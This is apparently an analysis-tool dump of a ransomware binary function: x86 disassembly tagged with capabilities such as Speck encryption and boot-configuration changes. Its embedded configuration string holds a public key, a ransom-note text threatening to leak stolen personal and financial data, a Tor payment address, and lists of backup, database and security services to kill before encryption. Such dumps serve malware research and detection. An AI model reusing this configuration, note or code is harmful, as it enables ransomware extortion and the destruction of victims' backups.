Function at 0x47df80
Capabilities:
Encrypt data using speck
Manipulate boot configuration

Disassembly:
push ebp
mov ebp, esp
push ebx
push edi
push esi
and esp, 0xfffffff0
sub esp, 0xa10
mov dword [esp + 0xb0], ecx
lea ecx, [esp + 0x170]
call fcn.005dfad0
nop word cs:[eax + eax]
nop dword [eax]
mov ecx, dword [esp + 0x178]
mov eax, dword [esp + 0x17c]
cmp ecx, eax
je 0x47e16b
lea esi, [ecx + 0xc]
mov dword [esp + 0x178], esi
mov edi, dword [ecx]
test edi, edi
je 0x47e16d
mov edx, dword [ecx + 4]
mov ecx, dword [ecx + 8]
test ecx, ecx
je 0x47e150
lea esi, [edi + ecx]
mov ebx, edi
mov dword [esp + 0x30], edx
mov dword [esp + 4], edi
jmp 0x47e006
mov ebx, edi
cmp ebx, esi
je 0x47e060
movzx eax, byte [ebx]
lea edi, [ebx + 1]
test al, al
jns 0x47e000
add ebx, 2
cmp al, 0xe0
jae 0x47e01e
cmp edi, esi
cmove ebx, edi
jmp 0x47e002
cmp al, 0xed
jne 0x47e03a
cmp edi, esi
cmove ebx, edi
cmp ebx, esi
je 0x47e060
inc ebx
cmp edi, esi
je 0x47e002
cmp byte [edi], 0xa0
jb 0x47e002
jmp 0x47f094
cmp edi, esi
mov edx, ebx
cmove edx, edi
xor ebx, ebx
cmp edx, esi
setne bl
add ebx, edx
cmp al, 0xf0
jb 0x47e002
xor eax, eax
cmp ebx, esi
setne al
add ebx, eax
jmp 0x47e002
cmp ecx, 6
je 0x47e0b2
mov edi, dword [esp + 4]
mov edx, dword [esp + 0x30]
cmp ecx, 2
jne 0x47e150
mov al, byte [edi]
mov ecx, eax
add cl, 0xbf
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x2d
jne 0x47e150
mov al, byte [edi + 1]
mov ecx, eax
add cl, 0xbf
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x68
jne 0x47e150
jmp 0x47f2e4
mov edi, dword [esp + 4]
mov edx, dword [esp + 0x30]
mov al, byte [edi]
mov ecx, eax
add cl, 0xbf
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x2d
jne 0x47e150
mov al, byte [edi + 1]
mov ecx, eax
add cl, 0xbf
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x2d
jne 0x47e150
mov al, byte [edi + 2]
mov ecx, eax
add cl, 0xbf
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x68
jne 0x47e150
mov al, byte [edi + 3]
mov ecx, eax
add cl, 0xbf
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x65
jne 0x47e150
mov al, byte [edi + 4]
mov ecx, eax
add cl, 0xbf
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x6c
jne 0x47e150
mov al, byte [edi + 5]
mov ecx, eax
add cl, 0xbf
cmp cl, 0x1a
setb cl
shl cl, 5
or cl, al
cmp cl, 0x70
je 0x47f2e4
nop dword [eax]
test edx, edx
je 0x47dfb0
push edi
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47dfb0
mov esi, ecx
sub eax, esi
je 0x47e1af
sar eax, 2
add esi, 4
imul eax, eax, 0xaaaaaaab
shl eax, 2
lea edi, [eax + eax*2]
jmp 0x47e198
add esi, 0xc
add edi, 0xfffffff4
je 0x47e1af
cmp dword [esi], 0
je 0x47e190
push dword [esi - 4]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
jmp 0x47e190
mov eax, dword [esp + 0x174]
test eax, eax
je 0x47e1d8
shl eax, 2
lea eax, [eax + eax*2]
test eax, eax
je 0x47e1d8
push dword [esp + 0x170]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
lea ecx, [esp + 0x170]
mov edx, str._config_id_:____public_key_:_MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEA4gnBZNNkKwmyzzwdmEHPuAYLLVseuL3XEKgHhvKvwROTqkBYCE9ZND9I5oBwfCciCa32FvBXHTVbY9TkTWmMYtgyDMrd3leo9oA8Mt07jNKO6ULFRvwlZAakjkbiWLLBL24kgBWzYJk2brrrAoEx0_Xldp8uOJOUPrc2rpcJqkczeKpw4Qc8q6NKJ_ArEYXdRwbuUqxkQGZ10bGHbXnI4dGvue1pscK1qXB5fYDTwBC1_sN0J_LKNWaAQZuZDsGBdsYTw67DhfPrXD5FXy4e5a8pLwxVyLPgP0qjRvedn_GvX8NNdIFrFNuYn2B5fHOPscbNmSXs4kw_NwIDAQAB___extension_:_cvz8n37___note_file_name_:_RECOVER__EXTENSION_FILES.txt___note_full_text_:____What_happened__n_nImportant_files_on_your_network_was_ENCRYPTED_and_now_they_have___EXTENSION__extension._nIn_order_to_recover_your_files_you_need_to_follow_instructions_below._n_n___Sensitive_Data_n_nSensitive_data_on_your_network_was_DOWNLOADED._nIf_you_DONT_WANT_your_sensitive_data_to_be_PUBLISHED_you_have_to_act_quickly._n_nData_includes:_n__Employees_personal_data__CVs__DL__SSN._n__Complete_network_map_including_credentials_for_local_and_remote_services._n__Private_financial_information_including:_clients_data__bills__budgets__annual_reports__bank_statements._n__Manufacturing_documents_including:_datagrams__schemas__drawings_in_solidworks_format_n__And_more..._n_n___CAUTION_n_nDO_NOT_MODIFY_ENCRYPTED_FILES_YOURSELF._nDO_NOT_USE_THIRD_PARTY_SOFTWARE_TO_RESTORE_YOUR_DATA._nYOU_MAY_DAMAGE_YOUR_FILES__IT_WILL_RESULT_IN_PERMANENT_DATA_LOSS._n_n___What_should_I_do_next__n_n1__Download_and_install_Tor_Browser_from:_https:__torproject.org__n2__Navigate_to:_http:__gbxbwicx3x35kn7n73opnpp4kkzjcra42iv2akoo2dcjinf6jf6qbuyd.onion__access_key_ACCESS_KEY___note_short_text_:_Important_files_on_your_network_was_DOWNLOADED_and_ENCRYPTED._nSee___NOTE_FILE_NAME__file_to_get_further_instructions.___default_file_mode_:_Auto___default_file_cipher_:_Best___credentials_:____kill_services_:__mepocs___memtas___veeam___svc____backup___sql___vss___msexchange___sql____mysql___mysql____sophos___MSExchange___MSExchange____WSBExchange___PDVFSService___BackupExecVSSProvider___BackupExecAgentAccelerator___BackupExecAgentBrowser___BackupExecDiveciMediaService___BackupExecJobEngine___BackupExecManagementService___BackupExecRPCService___GxBlr___GxVss___GxClMgrS___GxCVD___GxCIMgr___GXMMM___GxVssHWProv___GxFWD___SAPService___SAP___SAP____SAPD____SAPHostControl___SAPHostExec___QBCFMonitorService___QBDBMgrN___QBIDPService___AcronisAgent___VeeamNFSSvc___VeeamDeploymentService___VeeamTransportSvc___MVArmor___MVarmor64___VSNAPVSS___AcrSch2Svc____kill_processes_:__agntsvc___dbeng50___dbsnmp___encsvc___excel___firefox___infopath___isqlplussvc___msaccess___mspub___mydesktopqos___mydesktopservice___notepad___ocautoupds___ocomm___ocssd___onenote___oracle___outlook___powerpnt___sqbcoreservice___sql___steam___synctime___tbirdconfig___thebat___thunderbird___visio___winword___wordpad___xfssvccon___sql___bedbh___vxmon___benetns___bengien___pvlsvr___beserver___raw_agent_svc___vsnapvss___CagService___QBIDPService___QBDBMgrN___QBCFMonitorService___SAP___TeamViewer_Service___TeamViewer___tv_w32___tv_x64___CVMountd___cvd___cvfwd___CVODS___saphostexec___saposcol___sapstartsrv___avagent___avscc___DellSystemDetect___EnterpriseClient___VeeamNFSSvc___VeeamTransportSvc___VeeamDeploymentSvc____exclude_directory_names_:__system_volume_information___intel____windows.ws___application_data____recycle.bin___mozilla____windows.bt___public___msocache___windows___default___all_users___tor_browser___programdata___boot___config.msi___google___perflogs___appdata___windows.old____exclude_file_names_:__desktop.ini___autorun.inf___ntldr___bootsect.bak___thumbs.db___boot.ini___ntuser.dat___GASS_SYS.sys___bootfont.bin___ntuser.ini___ntuser.dat.log____exclude_file_extensions_:__themepack___nls___diagpkg___msi___lnk___exe___cab___scr___bat___drv___rtp___msp___prf___msc___ico___key___ocx___diagcab___diagcfg___pdb___wpx___hlp___icns___rom___dll___msstyles___mod___ps1___ics___hta___bin___cmd___ani___386___lock___cur___idx___sys___com___deskthemepack___shs___ldf___theme___mpa___nomedia___spl___cpl___adv___icl___msu____exclude_file_path_wildcard_:____
push 0x1fc0
call fcn.0040b080
add esp, 4
mov edi, dword [esp + 0x170]
xor eax, eax
cmp edi, 1
sete al
mov eax, dword [esp + eax*4 + 0x178]
test eax, eax
mov dword [esp + 0x70], eax
js 0x482de6
mov esi, dword [esp + 0x174]
je 0x47e254
mov eax, dword [0x6f1130]
test eax, eax
jne 0x47e237
call sub.KERNEL32.dll_GetProcessHeap
test eax, eax
je 0x47f363
mov dword [0x6f1130], eax
push dword [esp + 0x70]
push 0
push eax
call sub.KERNEL32.dll_HeapAlloc
test eax, eax
je 0x47f363
mov edi, dword [esp + 0x170]
jmp 0x47e259
mov eax, 1
push dword [esp + 0x70]
push esi
mov dword [esp + 0x118], eax
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
test edi, edi
je 0x47e290
cmp dword [esp + 0x178], 0
je 0x47e290
push dword [esp + 0x174]
push 0
push dword [0x6f1130]
call sub.KERNEL32.dll_HeapFree
mov eax, dword [esp + 0x70]
mov ecx, dword [esp + 0x110]
xor edi, edi
lea edx, [ecx + eax]
test eax, eax
je 0x47e392
mov esi, ecx
mov dword [esp + 4], edx
jmp 0x47e2b8
cmp esi, edx
je 0x47e382
movzx ecx, byte [esi]
mov eax, esi
mov ebx, edi
test cl, cl
js 0x47e2d0
lea esi, [eax + 1]
jmp 0x47e33c
mov dword [esp + 0x30], ebx
movzx ebx, byte [eax + 1]
mov edx, ecx
and edx, 0x1f
and ebx, 0x3f
cmp cl, 0xdf
jbe 0x47e31e
movzx edi, byte [eax + 2]
shl ebx, 6
and edi, 0x3f
or edi, ebx
cmp cl, 0xf0
jb 0x47e32a
movzx ecx, byte [eax + 3]
and edx, 7
shl edi, 6
mov ebx, dword [esp + 0x30]
lea esi, [eax + 4]
shl edx, 0x12
and ecx, 0x3f
or ecx, edi
or ecx, edx
cmp ecx, 0x110000
jne 0x47e338
jmp 0x47e755
shl edx, 6
lea esi, [eax + 2]
or edx, ebx
mov ecx, edx
jmp 0x47e334
shl edx, 0xc
lea esi, [eax + 3]
or edi, edx
mov ecx, edi
mov ebx, dword [esp + 0x30]
mov edx, dword [esp + 4]
mov edi, esi
sub edi, eax
lea eax, [ecx - 9]
add edi, ebx
cmp eax, 5
jb 0x47e2b0
cmp ecx, 0x20
je 0x47e2b0
cmp ecx, 0x80
jb 0x47e370
call fcn.00464ff0
mov edx, dword [esp + 4]
test al, al
jne 0x47e2b0
mov ecx, dword [esp + 0x110]
mov eax, edi
cmp esi, edx
jne 0x47e3a0
jmp 0x47e47e
mov ecx, dword [esp + 0x110]
xor ebx, ebx
xor edi, edi
jmp 0x47e47e
mov esi, ecx
xor eax, eax
xor ebx, ebx
cmp esi, edx
je 0x47e47e
mov dword [esp + 0x1c], eax
mov dword [esp + 0x30], ebx
jmp 0x47e3b8
cmp esi, edx
je 0x47e473
movzx ecx, byte [edx - 1]
mov ebx, edx
test cl, cl
js 0x47e3d0
lea edx, [ebx - 1]
jmp 0x47e439
movzx eax, byte [ebx - 2]
cmp al, 0xc0
jge 0x47e407
movzx edx, byte [ebx - 3]
cmp dl, 0xc0
mov dword [esp + 0x2c], edx
jge 0x47e40f
lea edx, [ebx - 4]
mov dword [esp + 4], edx
movzx edx, byte [ebx - 4]
and edx, 7
shl edx, 6
mov dword [esp + 0x54], edx
mov edx, dword [esp + 0x2c]
and edx, 0x3f
add edx, dword [esp + 0x54]
jmp 0x47e41d
lea edx, [ebx - 2]
and eax, 0x1f
jmp 0x47e429
lea edx, [ebx - 3]
mov dword [esp + 4], edx
mov edx, dword [esp + 0x2c]
and edx, 0xf
shl edx, 6
and eax, 0x3f
or eax, edx
mov edx, dword [esp + 4]
shl eax, 6
and ecx, 0x3f
or ecx, eax
cmp ecx, 0x110000
je 0x47e473
lea eax, [ecx - 9]
cmp eax, 5
jb 0x47e3b0
cmp ecx, 0x20
je 0x47e3b0
cmp ecx, 0x80
jb 0x47e46b
mov dword [esp + 4], edx
call fcn.00464ff0
mov edx, dword [esp + 4]
test al, al
jne 0x47e3b0
mov edi, dword [esp + 0x1c]
sub edi, esi
add edi, ebx
mov ecx, dword [esp + 0x110]
mov ebx, dword [esp + 0x30]
mov eax, dword [0x6dd4e0]
add ecx, ebx
sub edi, ebx
mov dword [esp + 0x2e0], ecx
mov dword [esp + 0x2e4], edi
mov dword [esp + 0x2e8], 0
mov dword [esp + 0x2ec], eax
mov dword [esp + 0x2f0], 0
mov dword [esp + 0x2f4], 0
mov byte [esp + 0x2f8], pe_nt_image_headers32
je 0x47e67a
xor eax, eax
mov dh, 1
mov esi, 0x800013
nop word cs:[eax + eax]
nop
mov dl, byte [ecx + eax]
mov ebx, edx
add bl, 0xf7
cmp bl, 0x17
ja 0x47e508
movzx ebx, bl
bt esi, ebx
jae 0x47e508
inc eax
cmp eax, edi
mov dword [esp + 0x2e8], eax
setb dh
cmp edi, eax
jne 0x47e4e0
mov eax, edi
test dh, 1
je 0x47e67a
cmp dl, 0x5b
je 0x47e5c3
cmp dl, 0x7b
jne 0x47e78c
inc eax
lea ecx, [esp + 0x3b8]
lea edx, [esp + 0x2e0]
mov byte [esp + 0x2f8], 0x7f
mov dword [esp + 0x2e8], eax
call fcn.0046d580
inc byte [esp + 0x2f8]
mov edx, dword [esp + 0x2e4]
mov eax, dword [esp + 0x2e8]
cmp eax, edx
jae 0x47e6ec
mov ecx, dword [esp + 0x2e0]
mov dword [esp + 4], ecx
mov ch, 1
mov esi, dword [esp + 4]
movzx ebx, byte [esi + eax]
mov cl, bl
add cl, 0xf7
cmp cl, 0x17
ja 0x47e5a2
movzx edi, cl
mov esi, 0x800013
bt esi, edi
jae 0x47e5a2
inc eax
cmp eax, edx
mov dword [esp + 0x2e8], eax
setb ch
cmp edx, eax
jne 0x47e570
mov eax, edx
test ch, 1
je 0x47e6ec
cmp bl, 0x7d
jne 0x47e773
inc eax
xor esi, esi
mov dword [esp + 0x2e8], eax
jmp 0x47e82e
lea ecx, [esp + 0x2e0]
inc eax
lea edx, [esp + 0x58]
mov byte [esp + 0x2f8], 0x7f
mov dword [esp + 0x58], ecx
lea ecx, [esp + 0x170]
mov dword [esp + 0x2e8], eax
mov byte [esp + 0x5c], 1
call fcn.0046bed0
cmp dword [esp + 0x170], 1
jne 0x47e630
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
mov dword [esp + 0x54], eax
mov dword [esp + 0x2c], eax
mov dword [esp + 0x1c], eax
mov dword [esp + 0x20], eax
mov dword [esp + 0x24], eax
mov esi, 1
mov bl, 1
mov dword [esp + 0x28], 0
jmp 0x47f970
mov eax, dword [esp + 0x174]
test eax, eax
je 0x47e8c4
mov edi, dword [esp + 0x178]
mov esi, dword [esp + 0x17c]
lea ecx, [esp + 0x170]
lea edx, [esp + 0x58]
mov dword [esp + 0x2cc], eax
call fcn.0046bed0
cmp dword [esp + 0x170], 1
jne 0x47e69d
mov eax, dword [esp + 0x174]
jmp 0x47f930
lea ecx, [esp + 0x2e0]
lea edx, [esp + 0x170]
mov dword [esp + 0x170], 5
call fcn.0046b5d0
jmp 0x4803c1
mov eax, dword [esp + 0x174]
test eax, eax
je 0x47e939
mov dword [esp + 0x6c], esi
mov esi, dword [esp + 0x178]
mov ebx, dword [esp + 0x17c]
lea ecx, [esp + 0x170]
lea edx, [esp + 0x58]
mov dword [esp + 0x18], eax
call fcn.0046bed0
cmp dword [esp + 0x170], 1
jne 0x47e6fc
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f916
mov dword [esp + 0x170], 3
jmp 0x47e819
mov eax, dword [esp + 0x174]
test eax, eax
je 0x47ea17
mov ecx, dword [esp + 0x17c]
mov dword [esp + 0x16c], ebx
mov ebx, dword [esp + 0x178]
lea edx, [esp + 0x58]
mov dword [esp + 0x50], eax
mov dword [esp + 0x168], ecx
lea ecx, [esp + 0x170]
call fcn.0046bed0
cmp dword [esp + 0x170], 1
jne 0x47e7ae
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f900
mov ecx, dword [esp + 0x110]
mov edx, dword [esp + 4]
mov eax, ebx
xor edi, edi
xor ebx, ebx
cmp esi, edx
jne 0x47e3a0
jmp 0x47e47e
cmp bl, 0x2c
jne 0x47e80e
mov dword [esp + 0x170], 0x12
jmp 0x47e819
lea ecx, [esp + 0x2e0]
lea edx, [esp + 0xb4]
push 0x61c93c
call fcn.0046bb20
add esp, 4
mov esi, eax
jmp 0x4803b3
mov eax, dword [esp + 0x174]
test eax, eax
je 0x47eb2c
mov edx, dword [esp + 0x178]
mov ecx, dword [esp + 0x17c]
mov dword [esp + 0xcc], eax
mov dword [esp + 0xc8], edx
mov dword [esp + 0x164], ecx
lea ecx, [esp + 0x170]
lea edx, [esp + 0x58]
call fcn.0046bed0
cmp dword [esp + 0x170], 1
jne 0x47e8dd
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f8e1
mov dword [esp + 0x170], 0x13
lea ecx, [esp + 0x2e0]
lea edx, [esp + 0x170]
call fcn.0046b5d0
mov esi, eax
lea eax, [esp + 0x3b8]
push 0xe0
push eax
lea eax, [esp + 0x178]
push eax
call sub.msvcrt.dll_memcpy
add esp, 0xc
mov dword [esp + 0x250], esi
cmp dword [esp + 0x170], 1
jne 0x47e87f
mov ebx, dword [esp + 0x174]
mov edi, 1
test esi, esi
je 0x47e899
lea ecx, [esp + 0x250]
call fcn.00520f00
mov esi, ebx
jmp 0x47fcfe
test esi, esi
je 0x47e8a0
lea ecx, [esp + 0x178]
call fcn.0046b6c0
mov edi, 1
jmp 0x47fcfe
mov esi, ebx
jmp 0x47fcfe
lea eax, [esp + 0x178]
lea ecx, [esp + 0x7c8]
push 0xd8
push eax
push ecx
call sub.msvcrt.dll_memcpy
add esp, 0xc
xor edi, edi
jmp 0x47fcfe
xor ecx, ecx
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
jmp 0x47e604
mov eax, dword [esp + 0x174]
test eax, eax
je 0x47ed0c
mov edx, dword [esp + 0x178]
mov ecx, dword [esp + 0x17c]
mov dword [esp + 0xe4], eax
mov dword [esp + 0xe0], edx
mov dword [esp + 0x160], ecx
lea ecx, [esp + 0x170]
lea edx, [esp + 0x58]
call fcn.0046bed0
cmp dword [esp + 0x170], 1
jne 0x47e955
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f8c2
mov ecx, 1
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
jmp 0x47f930
mov eax, dword [esp + 0x174]
test eax, eax
je 0x47ed3c
mov ecx, dword [esp + 0x58]
mov dword [esp + 0x4c], edi
mov edx, dword [esp + 0x178]
mov dword [esp + 8], eax
mov dword [esp + 0x10], esi
mov edi, dword [ecx + 4]
mov dword [esp + 4], ecx
mov ecx, dword [ecx + 8]
mov dword [esp + 0xc], edx
cmp ecx, edi
jae 0x47ed2c
mov eax, dword [esp + 0x17c]
mov dword [esp + 0x98], ebx
mov bh, 1
mov esi, 0x800013
mov dword [esp + 0x15c], eax
mov eax, dword [esp + 4]
mov eax, dword [eax]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
movzx eax, byte [eax + ecx]
mov bl, al
add bl, 0xf7
cmp bl, 0x17
ja 0x47e9e4
movzx edx, bl
bt esi, edx
jae 0x47e9e4
mov edx, dword [esp + 4]
inc ecx
cmp ecx, edi
setb bh
cmp edi, ecx
mov dword [edx + 8], ecx
jne 0x47e9b7
mov ecx, edi
test bh, 1
mov ebx, dword [esp + 0x98]
je 0x47ed2c
cmp al, 0x2c
je 0x47ea37
cmp al, 0x5d
je 0x47ee85
cmp byte [esp + 0x5c], 0
jne 0x47ea42
mov dword [esp + 0x170], 7
jmp 0x47eea9
mov ecx, 2
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f916
cmp byte [esp + 0x5c], 0
je 0x47eb4c
mov byte [esp + 0x5c], 0
cmp al, 0x5d
je 0x47ee9e
mov edx, dword [esp + 4]
lea ecx, [esp + 0x170]
call fcn.00477410
cmp dword [esp + 0x170], 1
jne 0x47ea75
mov eax, dword [esp + 0x174]
jmp 0x47eeb9
mov edx, dword [esp + 0x174]
test edx, edx
je 0x47ee85
mov ecx, dword [esp + 0x58]
mov eax, dword [esp + 0x178]
mov esi, dword [esp + 0x17c]
mov dword [esp + 0xc4], edx
mov edi, dword [ecx + 4]
mov dword [esp + 4], ecx
mov ecx, dword [ecx + 8]
mov dword [esp + 0x14], eax
mov dword [esp + 0xdc], esi
cmp ecx, edi
jae 0x47eeca
mov eax, dword [esp + 4]
mov bh, 1
mov esi, 0x800013
mov eax, dword [eax]
mov dword [esp + 0x30], eax
mov eax, dword [esp + 0x30]
movzx eax, byte [eax + ecx]
mov bl, al
add bl, 0xf7
cmp bl, 0x17
ja 0x47eaf8
movzx edx, bl
bt esi, edx
jae 0x47eaf8
mov edx, dword [esp + 4]
inc ecx
cmp ecx, edi
setb bh
cmp edi, ecx
mov dword [edx + 8], ecx
jne 0x47eacb
mov ecx, edi
test bh, 1
je 0x47eeca
cmp al, 0x2c
je 0x47ebc0
cmp al, 0x5d
je 0x47ef68
cmp byte [esp + 0x5c], 0
jne 0x47ebcb
mov dword [esp + 0x170], 7
jmp 0x47eed5
mov ecx, 3
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f900
mov edx, dword [esp + 4]
lea eax, [ecx + 1]
cmp eax, edi
mov dword [edx + 8], eax
jae 0x47ebb0
mov eax, edi
add ecx, 2
mov ebx, 0x800013
neg eax
mov dword [esp + 0x2c], eax
mov ah, 1
mov edx, dword [esp + 0x30]
mov al, byte [edx + ecx - 1]
mov edx, eax
add dl, 0xf7
cmp dl, 0x17
ja 0x47eba0
movzx edx, dl
bt ebx, edx
jae 0x47eba0
mov edx, dword [esp + 4]
cmp ecx, edi
setb ah
mov dword [edx + 8], ecx
mov edx, dword [esp + 0x2c]
lea edx, [edx + ecx + 1]
inc ecx
cmp edx, 1
jne 0x47eb6c
mov ebx, dword [esp + 0x98]
test ah, 1
jne 0x47ea47
mov dword [esp + 0x170], 5
jmp 0x47eea9
cmp byte [esp + 0x5c], 0
je 0x47ed5c
mov byte [esp + 0x5c], 0
cmp al, 0x5d
je 0x47eeee
mov edx, dword [esp + 4]
lea ecx, [esp + 0x170]
call fcn.00476cd0
cmp dword [esp + 0x170], 1
jne 0x47ec02
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f7fd
mov ah, byte [esp + 0x178]
movsd xmm0, qword [esp + 0x179]
movsd xmm2, qword [esp + 0x181]
movsd xmm1, qword [esp + 0x188]
cmp ah, 6
movsd qword [esp + 0x3c0], xmm2
movsd qword [esp + 0x3b8], xmm0
movsd qword [esp + 0x3c7], xmm1
je 0x47ef68
movsd xmm0, qword [esp + 0x3c7]
movsd xmm2, qword [esp + 0x3b8]
movsd xmm1, qword [esp + 0x3c0]
mov ecx, dword [esp + 0x58]
movsd qword [esp + 0x947], xmm0
movsd qword [esp + 0x940], xmm1
movsd qword [esp + 0x938], xmm2
mov dword [esp + 4], ecx
mov edi, dword [ecx + 4]
mov edx, dword [ecx + 8]
cmp edx, edi
jae 0x47ef98
mov ecx, dword [esp + 4]
mov bh, 1
mov esi, 0x800013
mov ecx, dword [ecx]
mov dword [esp + 0x30], ecx
mov ecx, dword [esp + 0x30]
mov al, byte [ecx + edx]
mov bl, al
add bl, 0xf7
cmp bl, 0x17
ja 0x47ecd1
movzx ecx, bl
bt esi, ecx
jae 0x47ecd1
mov ecx, dword [esp + 4]
inc edx
cmp edx, edi
setb bh
cmp edi, edx
mov dword [ecx + 8], edx
jne 0x47eca5
mov edx, edi
test bh, 1
je 0x47ef98
cmp al, 0x2c
mov byte [esp + 0xd8], ah
je 0x47edc9
cmp al, 0x5d
je 0x47f018
cmp byte [esp + 0x5c], 0
jne 0x47edd4
mov dword [esp + 0x170], 7
jmp 0x47efa3
mov ecx, 4
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f8e1
mov dword [esp + 0x170], 2
jmp 0x47eea9
mov ecx, 5
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f8c2
mov edx, dword [esp + 4]
lea eax, [ecx + 1]
cmp eax, edi
mov dword [edx + 8], eax
jae 0x47edb9
mov eax, edi
add ecx, 2
mov ebx, 0x800013
neg eax
mov dword [esp + 0x2c], eax
mov ah, 1
mov edx, dword [esp + 0x30]
mov al, byte [edx + ecx - 1]
mov edx, eax
add dl, 0xf7
cmp dl, 0x17
ja 0x47edb0
movzx edx, dl
bt ebx, edx
jae 0x47edb0
mov edx, dword [esp + 4]
cmp ecx, edi
setb ah
mov dword [edx + 8], ecx
mov edx, dword [esp + 0x2c]
lea edx, [edx + ecx + 1]
inc ecx
cmp edx, 1
jne 0x47ed7c
test ah, 1
jne 0x47ebd0
mov dword [esp + 0x170], 5
jmp 0x47eed5
cmp byte [esp + 0x5c], 0
je 0x47eefe
mov byte [esp + 0x5c], 0
cmp al, 0x5d
je 0x47eeee
mov ecx, dword [esp + 4]
call fcn.00479c20
mov esi, dword [esp + 0x10]
test al, 1
mov dword [esp + 4], edx
jne 0x47f801
cmp ah, 3
mov dword [esp + 0x30], eax
je 0x47f018
lea ecx, [esp + 0x170]
lea edx, [esp + 0x58]
call fcn.00470ec0
cmp dword [esp + 0x170], 1
je 0x47ebf2
mov eax, dword [esp + 0x174]
test eax, eax
mov dword [esp + 0xc0], eax
je 0x47f133
mov ecx, dword [esp + 0x17c]
mov eax, dword [esp + 0x178]
lea edx, [esp + 0x58]
mov dword [esp + 0xd0], ecx
lea ecx, [esp + 0x170]
mov dword [esp + 0xd4], eax
call fcn.00470ec0
cmp dword [esp + 0x170], 1
jne 0x47efbc
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f798
mov ecx, 6
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
jmp 0x47eeb9
mov dword [esp + 0x170], 0x12
mov ecx, dword [esp + 4]
lea edx, [esp + 0x170]
call fcn.0046b5d0
mov edi, dword [esp + 0x4c]
mov esi, dword [esp + 0x10]
mov dword [esp + 4], eax
jmp 0x47f8a8
mov dword [esp + 0x170], 2
mov ecx, dword [esp + 4]
lea edx, [esp + 0x170]
call fcn.0046b5d0
mov edx, dword [esp + 0x14]
jmp 0x47ef83
mov dword [esp + 0x170], 0x12
jmp 0x47efa3
mov ecx, dword [esp + 4]
lea eax, [edx + 1]
cmp eax, edi
mov dword [ecx + 8], eax
jae 0x47ef5b
mov eax, edi
add edx, 2
mov ebx, 0x800013
neg eax
mov dword [esp + 0x2c], eax
mov ah, 1
mov ecx, dword [esp + 0x30]
mov al, byte [ecx + edx - 1]
mov ecx, eax
add cl, 0xf7
cmp cl, 0x17
ja 0x47ef52
movzx ecx, cl
bt ebx, ecx
jae 0x47ef52
mov ecx, dword [esp + 4]
cmp edx, edi
setb ah
mov dword [ecx + 8], edx
mov ecx, dword [esp + 0x2c]
lea ecx, [ecx + edx + 1]
inc edx
cmp ecx, 1
jne 0x47ef1e
test ah, 1
jne 0x47edd9
mov dword [esp + 0x170], 5
jmp 0x47efa3
mov edx, 0x61c96c
mov ecx, 7
push 0x61c89c
call fcn.00475e10
mov edx, dword [esp + 0x18]
add esp, 4
mov dword [esp + 4], eax
mov esi, dword [esp + 0x10]
mov ecx, dword [esp + 8]
mov eax, dword [esp + 0xc]
jmp 0x47f80d
mov dword [esp + 0x170], 2
mov ecx, dword [esp + 4]
lea edx, [esp + 0x170]
call fcn.0046b5d0
mov dword [esp + 4], eax
jmp 0x47f7fd
mov eax, dword [esp + 0x174]
test eax, eax
mov dword [esp + 0xbc], eax
je 0x47f199
mov ecx, dword [esp + 0x17c]
mov eax, dword [esp + 0x178]
lea edx, [esp + 0x58]
mov dword [esp + 0xac], ecx
lea ecx, [esp + 0x170]
mov dword [esp + 0x88], eax
call fcn.00470ec0
cmp dword [esp + 0x170], 1
jne 0x47f038
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f727
mov ecx, 8
mov edx, 0x61c96c
push 0x61c89c
call fcn.00475e10
add esp, 4
mov dword [esp + 4], eax
jmp 0x47f7fd
mov eax, dword [esp + 0x174]
test eax, eax
mov dword [esp + 0x150], eax
je 0x47f343
mov ecx, dword [esp + 0x17c]
mov eax, dword [esp + 0x178]
lea edx, [esp + 0x58]
mov dword [esp + 0x154], ecx
lea ecx, [esp + 0x170]
mov dword [esp + 0x158], eax
call fcn.00470ec0
cmp dword [esp + 0x170], 1
jne 0x47f0d7
mov eax, dword [esp + 0x174]
mov dword [esp + 4], eax
jmp 0x47f6b6
mov eax, dword [esp + 4]
mov edx, 0x2b
mov dword [esp + 0x3b8], eax
mov eax, dword [esp + 0x30]
mov dword [esp + 0x3bc], eax
mov dword [esp + 0x3c0], ecx
lea eax, [esp + 0x3b8]
mov ecx, str.called__Result::unwrap____on_an__Err__value
push 0x6d4300
push 0x6d433c
push eax
call fcn.0045d480
add esp, 0xc
ud2
mov eax, dword [esp + 0x174]
test eax, eax
mov dword [esp + 0x144], eax
je 0x47f36c
